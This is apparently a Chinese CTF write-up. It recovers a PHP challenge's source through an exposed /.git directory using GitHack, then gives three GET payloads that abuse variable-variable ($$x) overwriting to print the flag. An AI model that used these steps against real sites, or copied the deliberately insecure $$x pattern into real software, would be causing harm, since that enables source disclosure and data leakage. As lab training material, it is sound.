扫描之后发现是/.git源码泄露
python GitHack.py http://56ad87c1-d8fb-463d-9480-f0fbee5176a0.node5.buuoj.cn:81/.git/
之后出现源码查看index.php
<?php// 包含外部文件 'flag.php',可能包含变量 $flag
include 'flag.php';// 初始化三个变量
$yds = "dog"; // $yds 被设置为 "dog"
$is = "cat"; // $is 被设置为 "cat"
$handsome = 'yds'; // $handsome 被设置为字符串 'yds'// 遍历 $_POST 数组,将每个键值对赋值给动态生成的变量
foreach($_POST as $x => $y){$$x = $y; // 例如,如果 $_POST 包含 'foo' => 'bar',则生成 $foo = 'bar'
}// 遍历 $_GET 数组,将每个键值对赋值给动态生成的变量
foreach($_GET as $x => $y){$$x = $$y; // 例如,如果 $_GET 包含 'foo' => 'bar',则生成 $foo = $bar 的值
}// 再次遍历 $_GET 数组,检查特定条件
foreach($_GET as $x => $y){// 如果 $_GET['flag'] 的值等于当前键名且键名不为 'flag'if($_GET['flag'] === $x && $x !== 'flag'){// 输出 $handsome 的值并终止脚本执行exit($handsome);}
}// 检查是否存在 $_GET['flag'] 或 $_POST['flag']
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 如果这两个参数都没有被设置,输出 $yds 的值并终止脚本执行exit($yds);
}// 检查 $_POST['flag'] 或 $_GET['flag'] 是否等于字符串 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 如果其中一个等于 'flag',输出 $is 的值并终止脚本执行exit($is);
}// 最后输出变量 $flag 的值
echo "the flag is: ".$flag;
?>
我们可以利用下面三个exit中的其中一个来输出flag
方法一覆盖$handsome
GET:?handsome=flag&flag=x&x=flag
handsome=flag是把$handsome=flag的值
handsome=flag经过
foreach($_GET as $x => $y){$$x = $$y;}
//变为$handsome=$flag
然后我们要满足
$_GET['flag'] === $x && $x !== 'flag'
//即让x和flag等于flag的值而不等于flag
所以就是flag=x&x=flag
方法二覆盖$yds
GET:?yds=flag
不做过多解释
方法三覆盖$is
GET:?is=flag&flag=flag
不做过多解释